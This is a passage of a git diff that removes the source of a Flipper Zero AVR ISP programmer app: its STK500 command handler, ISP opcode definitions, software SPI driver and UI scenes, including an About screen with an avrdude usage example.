avr_isp_prog_write_eeprom_chunk(AvrIspProg* instance, uint16_t start, uint16_t length) { - furi_assert(instance); - // this writes byte-by-byte, - // page writing may be faster (4 bytes at a time) - avr_isp_prog_fill(instance, length); - for(uint16_t x = 0; x < length; x++) { - uint16_t addr = start + x; - avr_isp_prog_spi_transaction(instance, AVR_ISP_WRITE_EEPROM(addr, instance->buff[x])); - furi_delay_ms(10); - } - return STK_OK; -} - -static uint8_t avr_isp_prog_write_eeprom(AvrIspProg* instance, size_t length) { - furi_assert(instance); - // here is a word address, get the byte address - uint16_t start = instance->addr * 2; - uint16_t remaining = length; - if(length > instance->cfg->eepromsize) { - instance->error++; - return STK_FAILED; - } - while(remaining > AVR_ISP_EECHUNK) { - avr_isp_prog_write_eeprom_chunk(instance, start, AVR_ISP_EECHUNK); - start += AVR_ISP_EECHUNK; - remaining -= AVR_ISP_EECHUNK; - } - avr_isp_prog_write_eeprom_chunk(instance, start, remaining); - return STK_OK; -} - -static void avr_isp_prog_program_page(AvrIspProg* instance) { - furi_assert(instance); - uint8_t result = STK_FAILED; - uint16_t length = avr_isp_prog_getch(instance) << 8 | avr_isp_prog_getch(instance); - uint8_t memtype = avr_isp_prog_getch(instance); - // flash memory @addr, (length) bytes - if(memtype == STK_SET_FLASH_TYPE) { - avr_isp_prog_write_flash(instance, length); - return; - } - if(memtype == STK_SET_EEPROM_TYPE) { - result = avr_isp_prog_write_eeprom(instance, length); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - avr_isp_prog_tx_ch(instance, result); - - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } - return; - } - avr_isp_prog_tx_ch(instance, STK_FAILED); - return; -} - -static uint8_t avr_isp_prog_flash_read_page(AvrIspProg* instance, uint16_t length) { - furi_assert(instance); - for(uint16_t x = 0; x < length; x += 2) { - avr_isp_prog_tx_ch( - instance, - avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_FLASH_LO(instance->addr))); - avr_isp_prog_tx_ch( - instance, - avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_FLASH_HI(instance->addr))); - instance->addr++; - } - return STK_OK; -} - -static uint8_t avr_isp_prog_eeprom_read_page(AvrIspProg* instance, uint16_t length) { - furi_assert(instance); - // here again we have a word address - uint16_t start = instance->addr * 2; - for(uint16_t x = 0; x < length; x++) { - uint16_t addr = start + x; - avr_isp_prog_tx_ch( - instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_EEPROM(addr))); - } - return STK_OK; -} - -static void avr_isp_prog_read_page(AvrIspProg* instance) { - furi_assert(instance); - uint8_t result = STK_FAILED; - uint16_t length = avr_isp_prog_getch(instance) << 8 | avr_isp_prog_getch(instance); - uint8_t memtype = avr_isp_prog_getch(instance); - if(avr_isp_prog_getch(instance) != CRC_EOP) { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - return; - } - avr_isp_prog_tx_ch(instance, STK_INSYNC); - if(memtype == STK_SET_FLASH_TYPE) result = avr_isp_prog_flash_read_page(instance, length); - if(memtype == STK_SET_EEPROM_TYPE) result = avr_isp_prog_eeprom_read_page(instance, length); - avr_isp_prog_tx_ch(instance, result); -} - -static void avr_isp_prog_read_signature(AvrIspProg* instance) { - furi_assert(instance); - if(avr_isp_prog_getch(instance) != CRC_EOP) { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - return; - } - avr_isp_prog_tx_ch(instance, STK_INSYNC); - - avr_isp_prog_tx_ch(instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_VENDOR)); - avr_isp_prog_tx_ch(instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_FAMILY)); - avr_isp_prog_tx_ch(instance, avr_isp_prog_spi_transaction(instance, AVR_ISP_READ_PART_NUMBER)); - - avr_isp_prog_tx_ch(instance, STK_OK); -} - -void avr_isp_prog_avrisp(AvrIspProg* instance) { - furi_assert(instance); - uint8_t ch = avr_isp_prog_getch(instance); - - switch(ch) { - case STK_GET_SYNC: - FURI_LOG_D(TAG, "cmd STK_GET_SYNC"); - instance->error = 0; - avr_isp_prog_empty_reply(instance); - break; - case STK_GET_SIGN_ON: - FURI_LOG_D(TAG, "cmd STK_GET_SIGN_ON"); - if(avr_isp_prog_getch(instance) == CRC_EOP) { - avr_isp_prog_tx_ch(instance, STK_INSYNC); - - avr_isp_prog_tx_ch(instance, 'A'); - avr_isp_prog_tx_ch(instance, 'V'); - avr_isp_prog_tx_ch(instance, 'R'); - avr_isp_prog_tx_ch(instance, ' '); - avr_isp_prog_tx_ch(instance, 'I'); - avr_isp_prog_tx_ch(instance, 'S'); - avr_isp_prog_tx_ch(instance, 'P'); - - avr_isp_prog_tx_ch(instance, STK_OK); - } else { - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } - break; - case STK_GET_PARAMETER: - FURI_LOG_D(TAG, "cmd STK_GET_PARAMETER"); - avr_isp_prog_get_version(instance, avr_isp_prog_getch(instance)); - break; - case STK_SET_DEVICE: - FURI_LOG_D(TAG, "cmd STK_SET_DEVICE"); - avr_isp_prog_fill(instance, 20); - avr_isp_prog_set_cfg(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_SET_DEVICE_EXT: // ignore for now - FURI_LOG_D(TAG, "cmd STK_SET_DEVICE_EXT"); - avr_isp_prog_fill(instance, 5); - avr_isp_prog_empty_reply(instance); - break; - case STK_ENTER_PROGMODE: - FURI_LOG_D(TAG, "cmd STK_ENTER_PROGMODE"); - if(!instance->pmode) avr_isp_prog_auto_set_spi_speed_start_pmode(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_LOAD_ADDRESS: - FURI_LOG_D(TAG, "cmd STK_LOAD_ADDRESS"); - instance->addr = avr_isp_prog_getch(instance) | avr_isp_prog_getch(instance) << 8; - avr_isp_prog_empty_reply(instance); - break; - case STK_PROG_FLASH: // ignore for now - FURI_LOG_D(TAG, "cmd STK_PROG_FLASH"); - avr_isp_prog_getch(instance); - avr_isp_prog_getch(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_PROG_DATA: // ignore for now - FURI_LOG_D(TAG, "cmd STK_PROG_DATA"); - avr_isp_prog_getch(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_PROG_PAGE: - FURI_LOG_D(TAG, "cmd STK_PROG_PAGE"); - avr_isp_prog_program_page(instance); - break; - case STK_READ_PAGE: - FURI_LOG_D(TAG, "cmd STK_READ_PAGE"); - avr_isp_prog_read_page(instance); - break; - case STK_UNIVERSAL: - FURI_LOG_D(TAG, "cmd STK_UNIVERSAL"); - avr_isp_prog_universal(instance); - break; - case STK_LEAVE_PROGMODE: - FURI_LOG_D(TAG, "cmd STK_LEAVE_PROGMODE"); - instance->error = 0; - if(instance->pmode) avr_isp_prog_end_pmode(instance); - avr_isp_prog_empty_reply(instance); - break; - case STK_READ_SIGN: - FURI_LOG_D(TAG, "cmd STK_READ_SIGN"); - avr_isp_prog_read_signature(instance); - break; - // expecting a command, not CRC_EOP - // this is how we can get back in sync - case CRC_EOP: - FURI_LOG_D(TAG, "cmd CRC_EOP"); - instance->error++; - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - break; - // anything else we will return STK_UNKNOWN - default: - FURI_LOG_D(TAG, "cmd STK_ERROR_CMD"); - instance->error++; - if(avr_isp_prog_getch(instance) == CRC_EOP) - avr_isp_prog_tx_ch(instance, STK_UNKNOWN); - else - avr_isp_prog_tx_ch(instance, STK_NOSYNC); - } - - if(instance->callback) { - instance->callback(instance->context); - } -} diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.h deleted file mode 100644 index 2c15ab066..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog.h +++ /dev/null @@ -1,16 +0,0 @@ -#pragma once - -#include "avr_isp_spi_sw.h" -#include - -typedef struct AvrIspProg AvrIspProg; -typedef void (*AvrIspProgCallback)(void* context); - -AvrIspProg* avr_isp_prog_init(void); -void avr_isp_prog_free(AvrIspProg* instance); -size_t avr_isp_prog_spaces_rx(AvrIspProg* instance) ; -bool avr_isp_prog_rx(AvrIspProg* instance, uint8_t* data, size_t len); -size_t avr_isp_prog_tx(AvrIspProg* instance, uint8_t* data, size_t max_len); -void avr_isp_prog_avrisp(AvrIspProg* instance); -void avr_isp_prog_exit(AvrIspProg* instance); -void avr_isp_prog_set_tx_callback(AvrIspProg* instance, AvrIspProgCallback callback, void* context); diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog_cmd.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog_cmd.h deleted file mode 100644 index f8b07203e..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_prog_cmd.h +++ /dev/null @@ -1,97 +0,0 @@ -#pragma once - -// http://ww1.microchip.com/downloads/en/appnotes/atmel-0943-in-system-programming_applicationnote_avr910.pdf -// AVR ISP Definitions -#define AVR_ISP_HWVER 0X02 -#define AVR_ISP_SWMAJ 0X01 -#define AVR_ISP_SWMIN 0X12 -#define AVP_ISP_SERIAL_CONNECT_TYPE 0X53 -#define AVP_ISP_CONNECT_TYPE 0x93 -#define AVR_ISP_RESP_0 0X00 - -#define AVR_ISP_SET_PMODE 0xAC, 0x53, 0x00, 0x00 -#define AVR_ISP_READ_VENDOR 0x30, 0x00, 0x00, 0x00 -#define AVR_ISP_READ_PART_FAMILY 0x30, 0x00, 0x01, 0x00 -#define AVR_ISP_READ_PART_NUMBER 0x30, 0x00, 0x02, 0x00 -#define AVR_ISP_ERASE_CHIP \ - 0xAC, 0x80, 0x00, 0x00 //Erase Chip, Wait N ms, Release RESET to end the erase. -//The only way to end a Chip Erase cycle is by temporarily releasing the Reset line - -#define AVR_ISP_EXTENDED_ADDR(data) 0x4D, 0x00, data, 0x00 -#define AVR_ISP_WRITE_FLASH_LO(add, data) 0x40, (add >> 8) & 0xFF, add & 0xFF, data -#define AVR_ISP_WRITE_FLASH_HI(add, data) 0x48, (add >> 8) & 0xFF, add & 0xFF, data -#define AVR_ISP_READ_FLASH_LO(add) 0x20, (add >> 8) & 0xFF, add & 0xFF, 0x00 -#define AVR_ISP_READ_FLASH_HI(add) 0x28, (add >> 8) & 0xFF, add & 0xFF, 0x00 - -#define AVR_ISP_WRITE_EEPROM(add, data) \ - 0xC0, (add >> 8) & 0xFF, add & 0xFF, data //Send cmd, Wait N ms -#define AVR_ISP_READ_EEPROM(add) 0xA0, (add >> 8) & 0xFF, add & 0xFF, 0xFF - -#define AVR_ISP_COMMIT(add) \ - 0x4C, (add >> 8) & 0xFF, add & 0xFF, 0x00 //Send cmd, polling read last addr page - -#define AVR_ISP_OSCCAL(add) 0x38, 0x00, add, 0x00 - -#define AVR_ISP_WRITE_LOCK_BYTE(data) 0xAC, 0xE0, 0x00, data //Send cmd, Wait N ms -#define AVR_ISP_READ_LOCK_BYTE 0x58, 0x00, 0x00, 0x00 -#define AVR_ISP_WRITE_FUSE_LOW(data) 0xAC, 0xA0, 0x00, data //Send cmd, Wait N ms -#define AVR_ISP_READ_FUSE_LOW 0x50, 0x00, 0x00, 0x00 -#define AVR_ISP_WRITE_FUSE_HIGH(data) 0xAC, 0xA8, 0x00, data //Send cmd, Wait N ms -#define AVR_ISP_READ_FUSE_HIGH 0x58, 0x08, 0x00, 0x00 -#define AVR_ISP_WRITE_FUSE_EXTENDED(data) 0xAC, 0xA4, 0x00, data //Send cmd, Wait N ms (~write) -#define AVR_ISP_READ_FUSE_EXTENDED 0x50, 0x08, 0x00, 0x00 - -#define AVR_ISP_EECHUNK 0x20 - -// https://www.microchip.com/content/dam/mchp/documents/OTH/ApplicationNotes/ApplicationNotes/doc2525.pdf -// STK Definitions -#define STK_OK 0x10 -#define STK_FAILED 0x11 -#define STK_UNKNOWN 0x12 -#define STK_INSYNC 0x14 -#define STK_NOSYNC 0x15 -#define CRC_EOP 0x20 - -#define STK_GET_SYNC 0x30 -#define STK_GET_SIGN_ON 0x31 -#define STK_SET_PARAMETER 0x40 -#define STK_GET_PARAMETER 0x41 -#define STK_SET_DEVICE 0x42 -#define STK_SET_DEVICE_EXT 0x45 -#define STK_ENTER_PROGMODE 0x50 -#define STK_LEAVE_PROGMODE 0x51 -#define STK_CHIP_ERASE 0x52 -#define STK_CHECK_AUTOINC 0x53 -#define STK_LOAD_ADDRESS 0x55 -#define STK_UNIVERSAL 0x56 -#define STK_UNIVERSAL_MULTI 0x57 -#define STK_PROG_FLASH 0x60 -#define STK_PROG_DATA 0x61 -#define STK_PROG_FUSE 0x62 -#define STK_PROG_FUSE_EXT 0x65 -#define STK_PROG_LOCK 0x63 -#define STK_PROG_PAGE 0x64 -#define STK_READ_FLASH 0x70 -#define STK_READ_DATA 0x71 -#define STK_READ_FUSE 0x72 -#define STK_READ_LOCK 0x73 -#define STK_READ_PAGE 0x74 -#define STK_READ_SIGN 0x75 -#define STK_READ_OSCCAL 0x76 -#define STK_READ_FUSE_EXT 0x77 -#define STK_READ_OSCCAL_EXT 0x78 -#define STK_HW_VER 0x80 -#define STK_SW_MAJOR 0x81 -#define STK_SW_MINOR 0x82 -#define STK_LEDS 0x83 -#define STK_VTARGET 0x84 -#define STK_VADJUST 0x85 -#define STK_OSC_PSCALE 0x86 -#define STK_OSC_CMATCH 0x87 -#define STK_SCK_DURATION 0x89 -#define STK_BUFSIZEL 0x90 -#define STK_BUFSIZEH 0x91 -#define STK_STK500_TOPCARD_DETECT 0x98 - -#define STK_SET_EEPROM_TYPE 0X45 -#define STK_SET_FLASH_TYPE 0X46 diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.c b/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.c deleted file mode 100644 index c6d9d54c8..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.c +++ /dev/null @@ -1,71 +0,0 @@ -#include "avr_isp_spi_sw.h" - -#include - -#define AVR_ISP_SPI_SW_MISO &gpio_ext_pa6 -#define AVR_ISP_SPI_SW_MOSI &gpio_ext_pa7 -#define AVR_ISP_SPI_SW_SCK &gpio_ext_pb3 -#define AVR_ISP_RESET &gpio_ext_pb2 - -struct AvrIspSpiSw { - AvrIspSpiSwSpeed speed_wait_time; - const GpioPin* miso; - const GpioPin* mosi; - const GpioPin* sck; - const GpioPin* res; -}; - -AvrIspSpiSw* avr_isp_spi_sw_init(AvrIspSpiSwSpeed speed) { - AvrIspSpiSw* instance = malloc(sizeof(AvrIspSpiSw)); - instance->speed_wait_time = speed; - instance->miso = AVR_ISP_SPI_SW_MISO; - instance->mosi = AVR_ISP_SPI_SW_MOSI; - instance->sck = AVR_ISP_SPI_SW_SCK; - instance->res = AVR_ISP_RESET; - - furi_hal_gpio_init(instance->miso, GpioModeInput, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(instance->mosi, false); - furi_hal_gpio_init(instance->mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_write(instance->sck, false); - furi_hal_gpio_init(instance->sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - furi_hal_gpio_init(instance->res, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh); - - return instance; -} - -void avr_isp_spi_sw_free(AvrIspSpiSw* instance) { - furi_assert(instance); - furi_hal_gpio_init(instance->res, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(instance->miso, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(instance->mosi, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - furi_hal_gpio_init(instance->sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - free(instance); -} - -uint8_t avr_isp_spi_sw_txrx(AvrIspSpiSw* instance, uint8_t data) { - furi_assert(instance); - for(uint8_t i = 0; i < 8; ++i) { - furi_hal_gpio_write(instance->mosi, (data & 0x80) ? true : false); - - furi_hal_gpio_write(instance->sck, true); - if(instance->speed_wait_time != AvrIspSpiSwSpeed1Mhz) - furi_delay_us(instance->speed_wait_time - 1); - - data = (data << 1) | furi_hal_gpio_read(instance->miso); //-V792 - - furi_hal_gpio_write(instance->sck, false); - if(instance->speed_wait_time != AvrIspSpiSwSpeed1Mhz) - furi_delay_us(instance->speed_wait_time - 1); - } - return data; -} - -void avr_isp_spi_sw_res_set(AvrIspSpiSw* instance, bool state) { - furi_assert(instance); - furi_hal_gpio_write(instance->res, state); -} - -void avr_isp_spi_sw_sck_set(AvrIspSpiSw* instance, bool state) { - furi_assert(instance); - furi_hal_gpio_write(instance->sck, state); -} \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.h b/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.h deleted file mode 100644 index 44de5ff79..000000000 --- a/applications/external/avr_isp_programmer/lib/driver/avr_isp_spi_sw.h +++ /dev/null @@ -1,24 +0,0 @@ -#pragma once - -#include - -typedef enum { - AvrIspSpiSwSpeed1Mhz = 0, - AvrIspSpiSwSpeed400Khz = 1, - AvrIspSpiSwSpeed250Khz = 2, - AvrIspSpiSwSpeed125Khz = 4, - AvrIspSpiSwSpeed60Khz = 8, - AvrIspSpiSwSpeed40Khz = 12, - AvrIspSpiSwSpeed20Khz = 24, - AvrIspSpiSwSpeed10Khz = 48, - AvrIspSpiSwSpeed5Khz = 96, - AvrIspSpiSwSpeed1Khz = 480, -} AvrIspSpiSwSpeed; - -typedef struct AvrIspSpiSw AvrIspSpiSw; - -AvrIspSpiSw* avr_isp_spi_sw_init(AvrIspSpiSwSpeed speed); -void avr_isp_spi_sw_free(AvrIspSpiSw* instance); -uint8_t avr_isp_spi_sw_txrx(AvrIspSpiSw* instance, uint8_t data); -void avr_isp_spi_sw_res_set(AvrIspSpiSw* instance, bool state); -void avr_isp_spi_sw_sck_set(AvrIspSpiSw* instance, bool state); \ No newline at end of file diff --git a/applications/external/avr_isp_programmer/lib/driver/clock.png b/applications/external/avr_isp_programmer/lib/driver/clock.png deleted file mode 100644 index 93a59fe68..000000000 Binary files a/applications/external/avr_isp_programmer/lib/driver/clock.png and /dev/null differ diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene.c deleted file mode 100644 index 4af125aee..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "../avr_isp_app_i.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const avr_isp_scene_on_enter_handlers[])(void*) = { -#include "avr_isp_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const avr_isp_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "avr_isp_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, -void (*const avr_isp_scene_on_exit_handlers[])(void* context) = { -#include "avr_isp_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers avr_isp_scene_handlers = { - .on_enter_handlers = avr_isp_scene_on_enter_handlers, - .on_event_handlers = avr_isp_scene_on_event_handlers, - .on_exit_handlers = avr_isp_scene_on_exit_handlers, - .scene_num = AvrIspSceneNum, -}; diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.h b/applications/external/avr_isp_programmer/scenes/avr_isp_scene.h deleted file mode 100644 index 658ee7432..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) AvrIspScene##id, -typedef enum { -#include "avr_isp_scene_config.h" - AvrIspSceneNum, -} AvrIspScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers avr_isp_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "avr_isp_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "avr_isp_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "avr_isp_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_about.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_about.c deleted file mode 100644 index e5f530fec..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_about.c +++ /dev/null @@ -1,99 +0,0 @@ -#include "../avr_isp_app_i.h" -#include "../helpers/avr_isp_types.h" - -void avr_isp_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, result); - } -} - -void avr_isp_scene_about_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - FuriString* temp_str = furi_string_alloc(); - furi_string_printf(temp_str, "\e#%s\n", "Information"); - - furi_string_cat_printf(temp_str, "Version: %s\n", AVR_ISP_VERSION_APP); - furi_string_cat_printf(temp_str, "Developed by: %s\n", AVR_ISP_DEVELOPED); - furi_string_cat_printf(temp_str, "Github: %s\n\n", AVR_ISP_GITHUB); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); - furi_string_cat_printf( - temp_str, - "This application is an AVR in-system programmer based on stk500mk1. It is compatible with AVR-based" - " microcontrollers including Arduino. You can also use it to repair the chip if you accidentally" - " corrupt the bootloader.\n\n"); - - furi_string_cat_printf(temp_str, "\e#%s\n", "What it can do:"); - furi_string_cat_printf(temp_str, "- Create a dump of your chip on an SD card\n"); - furi_string_cat_printf(temp_str, "- Flash your chip firmware from the SD card\n"); - furi_string_cat_printf(temp_str, "- Act as a wired USB ISP using avrdude software\n\n"); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Supported chip series:"); - furi_string_cat_printf( - temp_str, - "Example command for avrdude flashing: avrdude.exe -p m328p -c stk500v1 -P COMxx -U flash:r:" - "X:\\sketch_sample.hex" - ":i\n"); - furi_string_cat_printf( - temp_str, - "Where: " - "-p m328p" - " brand of your chip, " - "-P COMxx" - " com port number in the system when " - "ISP Programmer" - " is enabled\n\n"); - - furi_string_cat_printf(temp_str, "\e#%s\n", "Info"); - furi_string_cat_printf( - temp_str, - "ATtinyXXXX\nATmegaXXXX\nAT43Uxxx\nAT76C711\nAT86RF401\nAT90xxxxx\nAT94K\n" - "ATAxxxxx\nATA664251\nM3000\nLGT8F88P\nLGT8F168P\nLGT8F328P\n"); - - furi_string_cat_printf( - temp_str, "For a more detailed list of supported chips, see AVRDude help\n"); - - widget_add_text_box_element( - app->widget, - 0, - 0, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! \e!\n", - false); - widget_add_text_box_element( - app->widget, - 0, - 2, - 128, - 14, - AlignCenter, - AlignBottom, - "\e#\e! ISP Programmer \e!\n", - false); - widget_add_text_scroll_element(app->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); - furi_string_free(temp_str); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewWidget); -} - -bool avr_isp_scene_about_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - UNUSED(event); - return false; -} - -void avr_isp_scene_about_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - // Clear views - widget_reset(app->widget); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_chip_detect.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_chip_detect.c deleted file mode 100644 index 79c239390..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_chip_detect.c +++ /dev/null @@ -1,72 +0,0 @@ -#include "../avr_isp_app_i.h" - -void avr_isp_scene_chip_detect_callback(AvrIspCustomEvent event, void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, event); -} - -void avr_isp_scene_chip_detect_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - switch(app->error) { - case AvrIspErrorReading: - case AvrIspErrorWriting: - case AvrIspErrorWritingFuse: - avr_isp_chip_detect_set_state( - app->avr_isp_chip_detect_view, AvrIspChipDetectViewStateErrorOccured); - break; - case AvrIspErrorVerification: - avr_isp_chip_detect_set_state( - app->avr_isp_chip_detect_view, AvrIspChipDetectViewStateErrorVerification); - break; - - default: - avr_isp_chip_detect_set_state( - app->avr_isp_chip_detect_view, AvrIspChipDetectViewStateNoDetect); - break; - } - app->error = AvrIspErrorNoError; - avr_isp_chip_detect_view_set_callback( - app->avr_isp_chip_detect_view, avr_isp_scene_chip_detect_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewChipDetect); -} - -bool avr_isp_scene_chip_detect_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - bool consumed = false; - if(event.type == SceneManagerEventTypeCustom) { - switch(event.event) { - case AvrIspCustomEventSceneChipDetectOk: - - if(scene_manager_get_scene_state(app->scene_manager, AvrIspSceneChipDetect) == - AvrIspViewProgrammer) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneProgrammer); - } else if( - scene_manager_get_scene_state(app->scene_manager, AvrIspSceneChipDetect) == - AvrIspViewReader) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneInputName); - } else if( - scene_manager_get_scene_state(app->scene_manager, AvrIspSceneChipDetect) == - AvrIspViewWriter) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneLoad); - } - - consumed = true; - break; - default: - break; - } - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void avr_isp_scene_chip_detect_on_exit(void* context) { - UNUSED(context); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_config.h b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_config.h deleted file mode 100644 index 6f22511db..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_config.h +++ /dev/null @@ -1,10 +0,0 @@ -ADD_SCENE(avr_isp, start, Start) -ADD_SCENE(avr_isp, about, About) -ADD_SCENE(avr_isp, programmer, Programmer) -ADD_SCENE(avr_isp, reader, Reader) -ADD_SCENE(avr_isp, input_name, InputName) -ADD_SCENE(avr_isp, load, Load) -ADD_SCENE(avr_isp, writer, Writer) -ADD_SCENE(avr_isp, wiring, Wiring) -ADD_SCENE(avr_isp, chip_detect, ChipDetect) -ADD_SCENE(avr_isp, success, Success) diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_input_name.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_input_name.c deleted file mode 100644 index 950d564ca..000000000 --- a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_input_name.c +++ /dev/null @@ -1,87 +0,0 @@ -#include "../avr_isp_app_i.h" -#include - -void avr_isp_scene_input_name_text_callback(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, AvrIspCustomEventSceneInputName); -} - -void avr_isp_scene_input_name_get_timefilename(FuriString* name) { - FuriHalRtcDateTime datetime = {0}; - furi_hal_rtc_get_datetime(&datetime); - furi_string_printf( - name, - "AVR_dump-%.4d%.2d%.2d-%.2d%.2d%.2d", - datetime.year, - datetime.month, - datetime.day, - datetime.hour, - datetime.minute, - datetime.second); -} - -void avr_isp_scene_input_name_on_enter(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - // Setup view - TextInput* text_input = app->text_input; - bool dev_name_empty = false; - - FuriString* file_name = furi_string_alloc(); - - avr_isp_scene_input_name_get_timefilename(file_name); - furi_string_set(app->file_path, STORAGE_APP_DATA_PATH_PREFIX); - //highlighting the entire filename by default - dev_name_empty = true; - - strncpy(app->file_name_tmp, furi_string_get_cstr(file_name), AVR_ISP_MAX_LEN_NAME); - text_input_set_header_text(text_input, "Name dump"); - text_input_set_result_callback( - text_input, - avr_isp_scene_input_name_text_callback, - app, - app->file_name_tmp, - AVR_ISP_MAX_LEN_NAME, // buffer size - dev_name_empty); - - ValidatorIsFile* validator_is_file = - validator_is_file_alloc_init(STORAGE_APP_DATA_PATH_PREFIX, AVR_ISP_APP_EXTENSION, ""); - text_input_set_validator(text_input, validator_is_file_callback, validator_is_file); - - furi_string_free(file_name); - - view_dispatcher_switch_to_view(app->view_dispatcher, AvrIspViewTextInput); -} - -bool avr_isp_scene_input_name_on_event(void* context, SceneManagerEvent event) { - furi_assert(context); - - AvrIspApp* app = context; - if(event.type == SceneManagerEventTypeBack) { - scene_manager_previous_scene(app->scene_manager); - return true; - } else if(event.type == SceneManagerEventTypeCustom) { - if(event.event == AvrIspCustomEventSceneInputName) { - if(strcmp(app->file_name_tmp, "") != 0) { - scene_manager_next_scene(app->scene_manager, AvrIspSceneReader); - } else { - } - } - } - return false; -} - -void avr_isp_scene_input_name_on_exit(void* context) { - furi_assert(context); - - AvrIspApp* app = context; - // Clear validator - void* validator_context = text_input_get_validator_callback_context(app->text_input); - text_input_set_validator(app->text_input, NULL, NULL); - validator_is_file_free(validator_context); - // Clear view - text_input_reset(app->text_input); -} diff --git a/applications/external/avr_isp_programmer/scenes/avr_isp_scene_load.c b/applications/external/avr_isp_programmer/scenes/avr_isp_scene_load.c deleted 